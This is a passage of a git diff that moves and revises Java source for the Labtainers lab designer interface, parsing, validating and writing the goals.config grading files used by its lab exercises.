labtainers.mainui.ToolTipHandlers; + +/** + * + * @author Daniel Liao + */ +public class GoalValues { + //Values to be obtained + String goalID, resultTag, answerTag, answerType, booleanExp, goal1, goal2, value, subgoalList, executableFile, comments; + + ToolTipHandlers.ToolTipWrapper goalType, operator; + + //Constructor for loading goals into the UI + GoalValues(String inputLine, List resultTags){ + goalID = resultTag = answerType = answerTag = booleanExp = goal1 = goal2 = value = subgoalList = executableFile = comments = ""; + goalType = null; + operator = Operator_ITEMS[0]; + //by default set the result tag to the first result tag in the resultTags list (Warning: an error will occur if there is nothing the results tags list) + resultTag = resultTags.get(0); + answerType = answerTypes[0]; + + String goalLine; + if(inputLine.contains("\n")){ + String[] the_lines = inputLine.split("\n"); + goalLine = the_lines[the_lines.length-1]; + for(int i=0; i 2) + goalType = GoalType_ITEMS[10]; //count_matches + else + goalType = GoalType_ITEMS[9]; //count_value + } + else + goalType = itemFinder(GoalType_ITEMS, paramParsedLine[0].split(" = ")[1].trim()); + + if(opInput.contains(goalType.getItem())){ + operator = itemFinder(Operator_ITEMS, paramParsedLine[1]); + if(operator == null){ + System.out.println("Operator unknown in "+inputLine); + } + resultTag = paramParsedLine[2]; + + //Overwrite the goaltype to "matchExpression" if the result tag has a parenthesis (this indicates an arithmetic expression) + if(resultTag.contains("(")){ + goalType = GoalType_ITEMS[12]; + //take out outer parens in resultTag + if(resultTag.startsWith("(") && resultTag.endsWith(")")) + resultTag = resultTag.substring(1, resultTag.length() -1); + } + + answerTagModifier(paramParsedLine[3], resultTags); + } + else if(goalInput.contains(goalType.getItem())){ + goal1 = paramParsedLine[1].trim(); + goal2 = paramParsedLine[2].trim(); + } + else if(resultTagInput.contains(goalType.getItem())){ + resultTag = paramParsedLine[1].trim(); + } + else if("boolean".equals(goalType.getItem())){ + booleanExp = paramParsedLine[1]; + } + else if("count_greater".equals(goalType.getItem())){ + value = paramParsedLine[1].trim(); + subgoalList = paramParsedLine[2].trim(); + //Chop off the surrounding parens since this will be readded when written + if(subgoalList.startsWith("(") && subgoalList.endsWith(")")) + subgoalList = subgoalList.substring(1, subgoalList.length() -1); + } + else if("execute".equals(goalType.getItem())){ + executableFile = paramParsedLine[1]; + resultTag = paramParsedLine[2]; + answerTagModifier(paramParsedLine[3], resultTags); + } + else + System.out.println("Goal Type doesn't match any"); + } + + //Constructor for temporarily storing values of artifacts in the UI + GoalValues(String goalID, ToolTipHandlers.ToolTipWrapper goalType, ToolTipHandlers.ToolTipWrapper operator, String resultTag, String answerType, String answerTag, String booleanExp, String goal1, String goal2, String value, String subgoalList, String executableFile, String comments){ + this.goalID = goalID; + this.goalType = goalType; + this.operator = operator; + this.resultTag = resultTag; + this.answerType = answerType; + this.answerTag = answerTag; + this.booleanExp = booleanExp; + this.goal1 = goal1; + this.goal2 = goal2; + this.value = value; + this.subgoalList = subgoalList; + this.executableFile = executableFile; + this.comments = comments; + } + + //Deep copy + GoalValues(GoalValues original){ + goalID = original.goalID; + goalType = original.goalType; + operator = original.operator; + resultTag = original.resultTag; + answerTag = original.answerTag; + answerType = original.answerType; + booleanExp = original.booleanExp; + goal1 = original.goal1; + goal2 = original.goal2; + value = original.value; + subgoalList = original.subgoalList; + executableFile = original.executableFile; + comments = original.comments; + } + + //set the answertype & answertag to be displayed on the gui based on the config's answer tag + private void answerTagModifier(String aT, List resultTags){ + answerTag = ""; + try{ + if(aT.contains("answer=")){ + answerTag = aT.split("answer=")[1]; + //System.out.println("answer tag set to "+answerTag); + } + else if(resultTags.contains(aT)){ + answerTag = aT; + answerType = answerTypes[1]; //Result Tags + } + else if(aT.contains("result.")){ + answerTag = aT.split("result.")[1]; + answerType = answerTypes[1]; //Result Tags + } + else if(aT.contains("parameter.")){ + answerTag = aT.split("parameter.")[1]; + answerType = answerTypes[2]; //Parameter + } + else if(aT.contains("parameter_ascii.")){ + answerTag = aT.split("parameter_ascii.")[1]; + answerType = answerTypes[3]; //Parameter_ASCII + } + }catch(java.lang.ArrayIndexOutOfBoundsException ex){ + System.out.println("Error in goal value "+aT); + } + } + + + private ToolTipHandlers.ToolTipWrapper itemFinder(ToolTipHandlers.ToolTipWrapper[] list,String desired){ + for(ToolTipHandlers.ToolTipWrapper item : list){ + if(item.getItem().equals(desired)){ + return item; + } + } + return null; + } + + private boolean isInteger(String s){ + try{ + Integer.parseInt(s); + + return true; + } + catch(NumberFormatException ex){ + return false; + } + } +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsData.java similarity index 75% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsData.java index dfcbe7fe5..433ff2aea 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsData.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsData.java @@ -1,1249 +1,1285 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package GoalsUI; - -import static GoalsUI.ParamReferenceStorage.GoalType_ITEMS; -import static GoalsUI.ParamReferenceStorage.answerTypes; -import static GoalsUI.ParamReferenceStorage.booleanResultTypes; -import static GoalsUI.ParamReferenceStorage.goalInput; -import static GoalsUI.ParamReferenceStorage.opInput; -import static GoalsUI.ParamReferenceStorage.resultTagInput; -import GoalsUI.ToolTipHandlers.ToolTipWrapper; -import java.awt.Component; -import java.io.BufferedReader; -import java.io.BufferedWriter; -import java.io.File; -import java.io.FileNotFoundException; -import java.io.FileReader; -import java.io.FileWriter; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; -import java.util.logging.Level; -import java.util.logging.Logger; -import javax.swing.JOptionPane; -import javax.swing.JPanel; - -/** - * - * @author Dan - */ -public class GoalsData { - private List listofGoals; - final private List resultTagList; - final private List parameters; - final private List booleanResults; - private boolean labloaded; - final private String labname; - private int rowCount; - - GoalsData(){ - listofGoals = new ArrayList<>(); - resultTagList = new ArrayList<>(); - parameters = new ArrayList<>(); - booleanResults = new ArrayList<>(); - labloaded = false; - labname = ""; - rowCount = 0; - } - - GoalsData(String labname){ - listofGoals = new ArrayList<>(); - resultTagList = new ArrayList<>(); - parameters = new ArrayList<>(); - booleanResults = new ArrayList<>(); - labloaded = false; - this.labname = labname; - rowCount = 0; - - getData(); - } - - -//LOADING~~~~~~~~~~~~~~~~~~~~~~~~ - - //Checks if the lab exists and will load lab's goals.config if it does - private void getData(){ - //Check if the Folder exists - String userHomeFolder = System.getProperty("user.home"); - File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); - - if(lab.isDirectory()){ - if(getResultTags(lab) && getGoals()){ - labloaded = true; - getParameters(lab); - getBooleanResults(lab); - } - } - else - System.out.println("Lab does not exist!"); - } - - //Updates the resultTagList (all goal panels refer to this list to fill in the resultTag combobox) - private boolean getResultTags(File lab){ - File resultsConfig = new File(lab + File.separator + "instr_config" + File.separator + "results.config"); - try { - if(resultsConfig.exists()){ - try (FileReader fileReader = new FileReader(resultsConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - - String line = bufferedReader.readLine(); - while (line != null) { - if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) - resultTagList.add(line.split(" = ")[0]); - line = bufferedReader.readLine(); - } - } - return true; - } - else{ - System.out.println("results.config is missing"); - return false; - } - } - catch (FileNotFoundException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - return false; - } - catch (IOException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - return false; - } - } - - //Parses the goals.config to obtain all the relevant goal lines, - //extracts the values of each goal line and stores them into a list of "goals"(Goal Values) - private boolean getGoals(){ - //Attempt to set the listofGoals, if it ends up being null then there was an issue accessing the goal lines, which would be paresd into Goal Values - listofGoals = getGoalValuesOfConfigFile(); - if(listofGoals != null){ - rowCount=listofGoals.size(); - return true; - } - else - return false; - } - - //Get the parameter.config IDs - private void getParameters(File lab){ - File parameterConfig = new File(lab + File.separator + "config" + File.separator + "parameter.config"); - try { - if(parameterConfig.exists()){ - try (FileReader fileReader = new FileReader(parameterConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - - String line = bufferedReader.readLine(); - while (line != null) { - if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) - parameters.add(line.split(" : ")[0]); - line = bufferedReader.readLine(); - } - } - } - else - System.out.println("parameter.config is missing"); - } - catch (FileNotFoundException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - } - catch (IOException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - } - } - - //Get the result tags that are boolean result types - private void getBooleanResults(File lab){ - File resultsConfig = new File(lab + File.separator + "instr_config" + File.separator + "results.config"); - try { - if(resultsConfig.exists()){ - try (FileReader fileReader = new FileReader(resultsConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - - String line = bufferedReader.readLine(); - while (line != null) { - if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) - if(booleanResultTypes.contains(line.split(" : ")[1])) - booleanResults.add(line.split(" = ")[0]); - - line = bufferedReader.readLine(); - } - } - } - else - System.out.println("results.config is missing"); - } - catch (FileNotFoundException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - } - catch (IOException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - } - } - -//WRITING~~~~~~~~~~~~~~~~~~~~~~~~ - - //Update the results.config file with the user's input - protected void writeGoalsConfig(JPanel PanelofGoals){ - try { - Component[] goals = PanelofGoals.getComponents(); //Access the list of goals - String goalID, - goalType, - - operator, - resultTag, - answerType, - - booleanExp, - - goal1, - goal2, - - value, - subgoalList, - - executableFile; - String goalsConfigText = ""; - ErrorHandler error = new ErrorHandler(); - List goalIDs = new ArrayList(); //Used for goal ID duplication check - - //Iterate through each goal - for(int i=0;i < goals.length;i++){ - error.checkReset(); //Reset the error statuses for a new goal line - - String goalConfigLine = ""; - - //Goal ID - goalID = ((GoalPanels)goals[i]).getGoalIDTextField().getText(); - goalIDs.add(goalID); - //Checks if goal ID is valid or inputted - if(error.checkGoalID(goalID)) - goalConfigLine += (goalID + " = "); //add to goal ID Config line - - //Goal Type - ToolTipHandlers.ToolTipWrapper goalTypeTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getGoalTypeComboBox().getSelectedItem()); - goalType = goalTypeTTW.getItem(); - - switch (goalType) { - case "matchExpression": - goalConfigLine += "matchany : "; - break; - case "count_value": - case "count_matches": - goalConfigLine += "count : "; - break; - default: - goalConfigLine += goalType+" : "; - break; - } - - if(opInput.contains(goalType)){ - ToolTipHandlers.ToolTipWrapper operatorTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getOperatorComboBox().getSelectedItem()); - operator = operatorTTW.getItem(); - resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); - answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); - - goalConfigLine += operator+" : "; - goalConfigLine += resultTag+" : "; - goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); - } - - else if(goalInput.contains(goalType)){ - goal1 = ((GoalPanels)goals[i]).getGoal1TextField().getText(); - goal2 = ((GoalPanels)goals[i]).getGoal2TextField().getText(); - - ArrayList listOfAboveGoals = getAboveGoals("GOAL1&2", i, goals); - if(error.checkGoal1(goal1, listOfAboveGoals)) - goalConfigLine += goal1+" : "; - if(error.checkGoal2(goal2, listOfAboveGoals)) - goalConfigLine += goal2; - } - - else if(resultTagInput.contains(goalType)){ - resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); - goalConfigLine += resultTag; - } - - else if("boolean".equals(goalType)){ - booleanExp = ((GoalPanels)goals[i]).getBooleanTextField().getText(); - - if(error.checkBooleanExp(booleanExp, getAboveGoals("BOOLEAN", i, goals), booleanResults)){ - goalConfigLine += booleanExp; - } - } - - else if("count_greater".equals(goalType)){ - value = ((GoalPanels)goals[i]).getValueTextField().getText(); - subgoalList = ((GoalPanels)goals[i]).getSubgoalTextField().getText(); - - if(error.checkValueAndSubgoals(value, subgoalList, getAboveGoals("ALL", i, goals), booleanResults)){ - goalConfigLine += value+" : "; - goalConfigLine += "("; - goalConfigLine += subgoalList; - goalConfigLine += ")"; - } - - - - } - else if("execute".equals(goalType)){ - executableFile = ((GoalPanels)goals[i]).getExecutableFileTextField().getText(); - resultTag = (String)((GoalPanels)goals[i]).getResultTagComboBox().getSelectedItem(); - answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); - - goalConfigLine += executableFile+" : "; - goalConfigLine += resultTag+" : "; - goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); - } - else if("matchExpression".equals(goalType)){ - ToolTipHandlers.ToolTipWrapper operatorTTW = (ToolTipHandlers.ToolTipWrapper)(((GoalPanels)goals[i]).getOperatorComboBox().getSelectedItem()); - operator = operatorTTW.getItem(); - - //May need modification /validation - String rt = (String)((GoalPanels)goals[i]).getArithmeticResultTagTextField().getText(); - resultTag=""; - if(error.checkArithRT(rt)){ //NOTE: the checkArithRT is incomplete and simply returns 'true' - resultTag += "("; - resultTag += rt; - resultTag += ")"; - } - - answerType = (String)((GoalPanels)goals[i]).getAnswerTypeComboBox().getSelectedItem(); - - goalConfigLine += operator+" : "; - goalConfigLine += resultTag+" : "; - goalConfigLine += answerHandler(answerType, (GoalPanels)goals[i]); - } - - - //If there's no error, put the goalConfigLine in the resultsConfigText string, - //Otherwise the overallPass of the user input is false - if(error.userInputCheck(i+1)){ - if(i < goals.length-1) - goalConfigLine+= System.lineSeparator(); - //Add the goal config line to the Results Config text - goalsConfigText += goalConfigLine; - } - else - error.fail(); - } - - //Check for duplicate goal IDs - error.checkDuplicateGoalIDs(goalIDs, booleanResults); - - - if(error.passStatus()){ - //Resets the results.config file - File goalsConfigFile = initializeGoalsConfig(); - - try ( //Write the resultsConfigText to the results.config - BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, true))) { - writer.write(goalsConfigText); - } - } - else - JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); - } - catch (IOException ex) { - Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); - } - } - - //Builds the string bit to be added in the goals.config that describes the answer for a goal - private String answerHandler(String answerType, GoalPanels goal){ - String answer = ""; - - if(answerType.equals(answerTypes[0])){ //Literal - answer += "answer="; - answer += goal.getAnswerTagTextField().getText(); - } - else if(answerType.equals(answerTypes[1])){ //Result Tag - answer += "result."; - answer += (String)(goal.getResultTag2ComboBox().getSelectedItem()); - } - else if(answerType.equals(answerTypes[2])){ //Parameter - answer += "parameter."; - answer += (String)(goal.getParameterComboBox().getSelectedItem()); - } - else if(answerType.equals(answerTypes[3])){ //Parameter ASCII - answer += "parameter_ascii."; - answer += (String)(goal.getParameterComboBox().getSelectedItem()); - } - else - System.out.println("Issue writing answer in the goals.config"); - - return answer; - } - - //Checks if the goals.config file exists and prepares the goals.config file for the lab - private File initializeGoalsConfig() throws IOException{ - //Get the filepath for the lab's goals.config - String userHomeFolder = System.getProperty("user.home"); - File goalsConfigFile = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator + labname + File.separator + "instr_config" + File.separator + "goals.config"); - - //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments - String baseText = - "# goals.config" + System.lineSeparator() - + "#" + System.lineSeparator() - + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); - - if(goalsConfigFile.exists()){ - //Overwrite goals.config file if it already exists - try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, false))) { - writer.write(baseText); - } - return goalsConfigFile; - } - else if(goalsConfigFile.createNewFile()){ - //Create new goals.config file otherwise(if it does not already exist) - try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile))) { - writer.write(baseText); - } - return goalsConfigFile; - } - else{ //File could not be created so return error message - System.out.println("Goals Config File couldn't be initialzed."); - return null; - } - } - - //Handles all the error data and error checking before writing the goals.config - protected class ErrorHandler{ - private boolean overallPass; - private String errorMsg; - boolean - goalError, - goalIDMissing, - - goal1Error, - goal1Missing, - goal2Error, - goal2Missing, - - booleanExpCharError, - booleanExpTagError, - booleanExpNotError, - booleanExpStartError, - booleanExpEndError, - booleanParensError, - booleanAlternateError, - booleanMissing, - - arithRTCharError, - arithRTMissing, - - valueError, - valueMissing, - subgoalError, - subgoalMissing; - - ErrorHandler(){ - overallPass = true; - errorMsg = ""; - checkReset(); - } - - void fail(){ - overallPass = false; - } - - //Rests the error status(used right before looking at new goal line) - private void checkReset(){ - goalError = false; - goalIDMissing = false; - - goal1Error = false; - goal1Missing = false; - goal2Error = false; - goal2Missing = false; - - booleanExpCharError = false; - booleanExpTagError = false; - booleanExpNotError = false; - booleanExpStartError = false; - booleanExpEndError = false; - booleanParensError = false; - booleanAlternateError = false; - booleanMissing = false; - - arithRTCharError = false; - arithRTMissing = false; - - valueError = false; - valueMissing = false; - subgoalError = false; - subgoalMissing = false; - } - - - - //Builds error message detailing the errors that appear in the user input - boolean userInputCheck(int goalIndex){ - boolean rowPassed = true; - String infoMsg = "Goal Line: " + goalIndex + System.lineSeparator(); - - if(goalError){ - rowPassed = false; - infoMsg+= "-Make sure your Goal ID has only alphanumeric characters or underscores." + System.lineSeparator(); - } - if(goalIDMissing){ - rowPassed = false; - infoMsg+= "-Goal ID input is missing." + System.lineSeparator(); - } - - - if(goal1Error){ - rowPassed = false; - infoMsg+= "-Make sure that Goal 1 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); - } - if(goal1Missing){ - rowPassed = false; - infoMsg+= "-Goal 1 input is missing." + System.lineSeparator(); - } - if(goal2Error){ - rowPassed = false; - infoMsg+= "-Make sure that Goal 2 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); - } - if(goal2Missing){ - rowPassed = false; - infoMsg+= "-Goal 2 input is missing." + System.lineSeparator(); - } - - - if(booleanExpCharError || booleanExpTagError){ - rowPassed = false; - infoMsg+= "-Make sure Boolean Expression contains only result booleans, non-matchacross goal IDs above this goal line," + System.lineSeparator() + - "parentheses, and boolean operators(and, or, and_not, or_not, not)." + System.lineSeparator(); - } - if(booleanExpNotError){ - rowPassed = false; - infoMsg+= "-The 'not' boolean operator can only appear at the beginning of a boolean expression." + System.lineSeparator(); - } - if(booleanExpStartError || booleanExpEndError || booleanParensError || booleanAlternateError){ - rowPassed = false; - infoMsg+= "-Make sure your expression is formatted correctly: Proper Parentheses and making sure an item precedes and follows " + System.lineSeparator() - + "a boolean operator." + System.lineSeparator(); - } - if(booleanMissing){ - rowPassed = false; - infoMsg+= "-Boolean input is missing." + System.lineSeparator(); - } - - - if(arithRTCharError){ - rowPassed = false; - infoMsg+= "-Make sure Arithmetic Result Tag is formatted correctly." + System.lineSeparator(); - } - if(arithRTMissing){ - rowPassed = false; - infoMsg+= "-Arithmetic Result Tag input is missing." + System.lineSeparator(); - } - - - if(valueError){ - rowPassed = false; - infoMsg+= "-Value can only be a positive number(includes zero) less than the number of subgoal items." + System.lineSeparator(); - } - if(valueMissing){ - rowPassed = false; - infoMsg+= "-Value input is missing." + System.lineSeparator(); - } - if(subgoalError){ - rowPassed = false; - infoMsg+= "-Make sure your Subgoal list is seperated by commas(', ') and only contains goals from above this goal line" + System.lineSeparator() - + "and/or result booleans." + System.lineSeparator(); - } - if(subgoalMissing){ - rowPassed = false; - infoMsg+= "-Subgoal List input is missing." + System.lineSeparator(); - } - - if(!rowPassed) - errorMsg += (infoMsg + System.lineSeparator()); - - return rowPassed; - } - - //Checks is goal ID is missing or has invalid characters(valid: alphanumeric, and underscores) - boolean checkGoalID(String goalID){ - if(goalID.isEmpty() || goalID.equals("")){ - goalIDMissing = true; - return false; - } - else if(!goalID.matches("^[a-zA-Z0-9_-]+$")){ - goalError = true; - return false; - } - else - return true; - } - - - //Checks if goal 1 is either an above goal or a boolean results - boolean checkGoal1(String goal1, List listOfAboveGoals){ - if(goal1.isEmpty() || goal1.equals("")){ - goal1Missing = true; - return false; - } - else if(!listOfAboveGoals.contains(goal1) && !booleanResults.contains(goal1)){ - goal1Error = true; - return false; - } - else - return true; - } - - //Checks if goal 2 is either an above goal or a boolean results - boolean checkGoal2(String goal2, List listOfAboveGoals){ - if(goal2.isEmpty() || goal2.equals("")){ - goal2Missing = true; - return false; - } - else if(!listOfAboveGoals.contains(goal2) && !booleanResults.contains(goal2)){ - goal2Error = true; - return false; - } - else - return true; - } - - //Checks if boolean expression is valid: (The checking may have some overlap thta may need to be recoded) - boolean checkBooleanExp(String booleanExp, List nonMAAGoals, List booleanResults) { - String[] booleanOperators = {"and", "or", "and_not", "or_not"}; - - if(booleanExp.isEmpty() || booleanExp.equals("")){ - booleanMissing = true; - return false; - } - - //Does the boolean exp contain invalid chars (char not: alphnumeric, undescore, hyphen, whitespace, parenthesis) - if(!booleanExp.matches("^[a-zA-Z0-9_() -]+$")){ - booleanExpCharError = true; - return false; - } - - //Reformat the boolean expression string to identitfy things that shouldn't be there - //Replace all " not" with % - booleanExp = " "+booleanExp; - //The line above is necessary because when 'not' is used in the beginning there may or may not be a space before it. - //Adding the space includes the non-space-preceeded case. - booleanExp = booleanExp.replaceAll(" not ", "%"); - - booleanExp = booleanExp.trim(); - - //System.out.println("OG: "+booleanExp); - //System.out.println(); - //System.out.println("GOALS:"); - - //Replace all non Matchacross Goals with an asterisk symbol - for(String toReplace : nonMAAGoals){ - booleanExp = symbolReplace(booleanExp, toReplace, "*"); - } - - //System.out.println(); - //System.out.println("RESULT BOOLEANS:"); - //Replace all non boolean results with an asterisk symbol - for(String toReplace : booleanResults){ - booleanExp = symbolReplace(booleanExp, toReplace, "*"); - } - - //System.out.println(); - //System.out.println("BOOLEAN OPERATORS:"); - //Replace all boolean operators with a pound symbol - for(String toReplace : booleanOperators){ - booleanExp = symbolReplace(booleanExp, toReplace, "#"); - } - - //System.out.println(booleanExp); - - booleanExp = booleanExp.replaceAll("\\s+","");//removes white space - - //If the boolean expression had a "not " in it, did it not occur at the beginning and/or more than once - if(booleanExp.contains("%") && (!booleanExp.startsWith("%") || (booleanExp.indexOf("%") != booleanExp.lastIndexOf("%")))){ - booleanExpNotError = true; - return false; - } - //Does the reformatted Boolean Expression string pick up alphnumeric(with underscore) substring that doesn't belong in either nonMAAGoals or booleanResults - if(!booleanExp.matches("^[%*#()]+$")){ - - booleanExpTagError = true; - return false; - } - //Does it start with an operator or a close parens - else if(booleanExp.startsWith("#") || booleanExp.startsWith(")")){ - booleanExpStartError = true; - return false; - } - //Does it end with an operator or an open parens - else if(booleanExp.endsWith("#") || booleanExp.endsWith("(")){ - booleanExpEndError = true; - return false; - } - //Does the boolean expression have bad parens - else if(parensHandler(booleanExp)){ - booleanParensError = true; - return false; - } - //Does it at least have one operator not preceeded and not followed by a nonMAA goal/boolean result - else if(alternatationCheck(booleanExp)){ - booleanAlternateError = true; - return false; - } - - return true; - } - - //Replaces the a substring in the a string with another string - String symbolReplace(String booleanExp, String toReplace, String replaceWith){ - int tRIndex = booleanExp.indexOf(toReplace); - while(tRIndex != -1){ - int indexAfterWord = tRIndex+toReplace.length(); - int indexBeforeWord = tRIndex-1; - //System.out.println(toReplace+": "); - //System.out.println("tRIndex: "+tRIndex); - //System.out.println("indexAfterWord: "+indexAfterWord); - - - //IF the word to replace is at the beginning: "toReplace and_not other" -> "* and_not other" - if(tRIndex == 0 && booleanExp.charAt(indexAfterWord) == ' '){ - booleanExp = booleanExp.substring(0, indexAfterWord).replaceFirst(toReplace, replaceWith)+ - booleanExp.substring(indexAfterWord, booleanExp.length()); - } - //IF the word to replace is at the end: "other and_not toRepalce" -> "other and_not *" - else if(tRIndex == booleanExp.length()-toReplace.length() && - booleanExp.charAt(booleanExp.length()-toReplace.length()-1) == ' '){ - booleanExp = booleanExp.substring(0, tRIndex) + - booleanExp.substring(tRIndex, booleanExp.length()).replaceFirst(toReplace, replaceWith); - } - /* - IF the word to replace is in the middle: "other and toReplace and another" -> "other and * and another" - "(other and toReplace) and another" -> "(other and *) and another" - "(toReplace and other) and another" -> "(* and other) and another" - "(toReplace) and another" -> "(*) and another" - */ - else if((booleanExp.charAt(indexBeforeWord) == ' ' || booleanExp.charAt(indexBeforeWord) == '(') && - (booleanExp.charAt(indexAfterWord) == ' ' || booleanExp.charAt(indexAfterWord) == ')')){ - booleanExp = booleanExp.substring(0, tRIndex)+ - booleanExp.substring(tRIndex, indexAfterWord).replaceFirst(toReplace, replaceWith)+ - booleanExp.substring(indexAfterWord, booleanExp.length()); - } - - //System.out.println(booleanExp); - //System.out.println(); - - indexAfterWord = tRIndex+replaceWith.length(); //The indexAfterWord is shifted since the word has been deleted and replaced - if(indexAfterWord aboveGoals, List booleanResults){ - boolean pass = true; - - if(subgoalList.isEmpty() || subgoalList.equals("")){ - subgoalMissing = true; - pass = false; - } - if(value.isEmpty() || value.equals("")){ - valueMissing = true; - pass = false; - } - - if(!subgoalMissing && !valueMissing){ - String[] subgoals = subgoalList.split(", "); - for(String subgoal : subgoals){ - subgoal = subgoal.replaceAll("\\s+", ""); - if(!aboveGoals.contains(subgoal) && !booleanResults.contains(subgoal)){ - subgoalError = true; - pass = false; - } - } - - if(!value.matches("^[0-9]+$") || subgoals.length <= Integer.parseInt(value)){ - valueError = true; - pass = false; - } - - - } - return pass; - } - - //Checks if the result tag has any arithmetic errors (NEEDS REVISION) ***Incomplete - boolean checkArithRT(String arithRT){ - if(arithRT.isEmpty() || arithRT.equals("")){ - arithRTMissing = true; - return false; - } -// for(String rt : resultTagList) -// arithRT.replaceAll(rt, "0"); -// arithRT.replaceAll("\\s+","");//removes white space -// -// if(!arithRT.matches("^[-+0*/&0-9()]+$")){ -// arithRTCharError = true; -// return false; -// } - - return true; - } - - - - - - //Check if there are goalID duplicates (this includes checking duplicates with boolean results) - void checkDuplicateGoalIDs(List goalIDs, List booleanResults){ - ArrayList goalIDSet = new ArrayList<>(); - - //Store all the indices for each unique goal ID - for(int i=0;i 1){ - duplicateErrorMsg+= "Duplicate Goal ID: \"" + goal.goalID + "\" on rows "; - - for(int i=0;i indices; - - GoalIDIndices(String goalID, int index){ - this.goalID = goalID; - indices = new ArrayList<>(); - indices.add(index); - isResultTagBoolean = false; - } - - void addIndex(int index){ - indices.add(index); - } - } - - //Is the goal ID already in the duplicate list? - boolean isDuplicate(List goalIDSet, String goalID){ - for(GoalIDIndices goalIndices : goalIDSet){ - if(goalIndices.goalID.equals(goalID)) - return true; - } - return false; - } - - //Get the duplicate object based on the duplicate string - GoalIDIndices getDuplicate(List goalIDSet, String goalID){ - for(GoalIDIndices goalIndices : goalIDSet){ - if(goalIndices.goalID.equals(goalID)) - return goalIndices; - } - return null; - } - - @Override - public String toString(){ - return errorMsg; - } - - boolean passStatus(){ - return overallPass; - } - - - } - - -//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - //Gets a list of GoalValues from the the current state of the goals.config file - protected ArrayList getGoalValuesOfConfigFile(){ - ArrayList officialListofGoals = new ArrayList<>(); - - ArrayList goalLines = getGoalLines(); - if(goalLines != null){ - for(String goalLine : goalLines){ - GoalValues values = new GoalValues(goalLine, resultTagList); - officialListofGoals.add(values); - } - return officialListofGoals; - } - else - return null; - } - - //Get the list of goal lines from the goals.config that need to be parsed - private ArrayList getGoalLines(){ - ArrayList goals = new ArrayList<>(); - - try { - String userHomeFolder = System.getProperty("user.home"); - File lab = new File(userHomeFolder + File.separator + "labtainer" + File.separator + "trunk" + File.separator + "labs" + File.separator+ labname); - File goalsConfig = new File(lab+"/instr_config/goals.config"); - - //Get the artifact lines - if(goalsConfig.exists()){ - try (FileReader fileReader = new FileReader(goalsConfig)) { - BufferedReader bufferedReader = new BufferedReader(fileReader); - - String line = bufferedReader.readLine(); - while (line != null) { - //just checks if the first character is: not empty, not a hash, and not whitspace) - if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) - goals.add(line); - - line = bufferedReader.readLine(); - } - } - return goals; - } - else{ - System.out.println("No goals.config file in the loaded lab!"); - return null; - } - } - catch (IOException e) { - System.out.println("Issue with getting goals.config goals"); - return null; - } - } - - - //Updates the list of goals - protected void updateListofGoals(JPanel PanelofGoals){ - Component[] goals = PanelofGoals.getComponents(); //Access the list of goals - - ArrayList listofGoalsTMP = new ArrayList<>(); - - //Iterate through each goal panel in the UI and add its values to the temp list of goal values - for (Component goal : goals) { - //Goal ID - String goalID = ((GoalPanels) goal).getGoalIDTextField().getText(); - //GoalType - ToolTipWrapper goalType = (ToolTipWrapper)((GoalPanels) goal).getGoalTypeComboBox().getSelectedItem(); - - - //Operator - ToolTipWrapper operator = (ToolTipWrapper)((GoalPanels) goal).getOperatorComboBox().getSelectedItem(); - String resultTag = ""; - if(goalType.equals(GoalType_ITEMS[12])){ //matchExpression - resultTag = ((GoalPanels) goal).getArithmeticResultTagTextField().getText(); - } - else{ - //Result Tag - resultTag = (String)((GoalPanels) goal).getResultTagComboBox().getSelectedItem(); - } - //Answer 